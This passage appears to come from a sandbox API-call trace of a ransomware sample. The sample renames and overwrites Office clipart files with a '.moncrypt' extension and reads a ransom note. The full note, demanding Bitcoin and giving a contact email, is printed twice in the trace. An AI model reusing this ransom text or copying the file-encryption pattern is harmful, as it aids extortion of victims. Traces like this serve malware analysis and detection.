lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0061.414] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0061.426] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0061.426] CloseHandle (hObject=0x188) returned 1 [0061.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.427] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0061.427] CloseHandle (hObject=0x188) returned 1 [0061.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0061.427] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0061.428] GlobalLock (hMem=0x440004) returned 0x550170 [0061.428] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.428] GlobalUnlock (hMem=0x440004) returned 0 [0061.428] GlobalLock (hMem=0x440004) returned 0x550170 [0061.428] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.428] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.428] GlobalUnlock (hMem=0x440004) returned 0 [0061.428] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.428] GlobalUnlock (hMem=0x44000c) returned 0 [0061.428] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0061.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0061.428] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0061.428] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0061.428] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.429] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.429] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.429] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.429] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.429] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.429] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.429] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0061.429] CloseHandle (hObject=0x188) returned 1 [0061.429] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0061.429] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0061.429] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0061.429] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.429] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.429] GlobalUnlock (hMem=0x44000c) returned 0 [0061.429] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.429] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.429] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.429] GlobalUnlock (hMem=0x44000c) returned 0 [0061.430] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.430] GlobalUnlock (hMem=0x440004) returned 0 [0061.430] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0061.430] CharLowerBuffW (in: lpsz="BD00155_.WMF", cchLength=0xc | out: lpsz="bd00155_.wmf") returned 0xc [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.430] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", lpUsedDefaultChar=0x0) returned 63 [0061.430] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0061.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD00155_.WMF", lpUsedDefaultChar=0x0) returned 4 [0061.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 0x54e240 [0061.431] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0061.431] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0061.431] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", dwFileAttributes=0x20) returned 1 [0061.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0061.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.moncrypt")) returned 1 [0061.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.432] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.432] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x2d74 [0061.432] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.433] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x2d74, lpOverlapped=0x0) returned 1 [0061.444] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.444] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.444] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.444] GlobalUnlock (hMem=0x44000c) returned 0 [0061.444] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0061.444] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0061.444] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.444] GlobalUnlock (hMem=0x440004) returned 0 [0061.445] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0061.445] GlobalUnlock (hMem=0x44000c) returned 0 [0061.445] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.445] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.445] GlobalUnlock (hMem=0x44000c) returned 0 [0061.445] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0061.445] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.445] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.445] GlobalUnlock (hMem=0x44000c) returned 0 [0061.445] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0061.445] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x2d90, lpOverlapped=0x0) returned 1 [0061.445] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0061.446] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0061.457] WriteFile (in: hFile=0x188, lpBuffer=0x1dc9a88*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc9a88*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0061.457] CloseHandle (hObject=0x188) returned 1 [0061.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.458] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0061.458] CloseHandle (hObject=0x188) returned 1 [0061.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0061.459] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0061.459] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.459] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.459] GlobalUnlock (hMem=0x44000c) returned 0 [0061.459] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.459] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.459] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.459] GlobalUnlock (hMem=0x44000c) returned 0 [0061.459] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.459] GlobalUnlock (hMem=0x440004) returned 0 [0061.459] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0061.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0061.459] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0061.459] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0061.459] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.460] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.460] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.460] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.460] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.460] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.460] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.460] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0061.460] CloseHandle (hObject=0x188) returned 1 [0061.460] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0061.460] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0061.461] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0061.461] GlobalLock (hMem=0x440004) returned 0x550170 [0061.461] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.461] GlobalUnlock (hMem=0x440004) returned 0 [0061.461] GlobalLock (hMem=0x440004) returned 0x550170 [0061.461] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.461] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.461] GlobalUnlock (hMem=0x440004) returned 0 [0061.461] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.461] GlobalUnlock (hMem=0x44000c) returned 0 [0061.461] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0061.461] CharLowerBuffW (in: lpsz="BD00160_.WMF", cchLength=0xc | out: lpsz="bd00160_.wmf") returned 0xc [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.461] 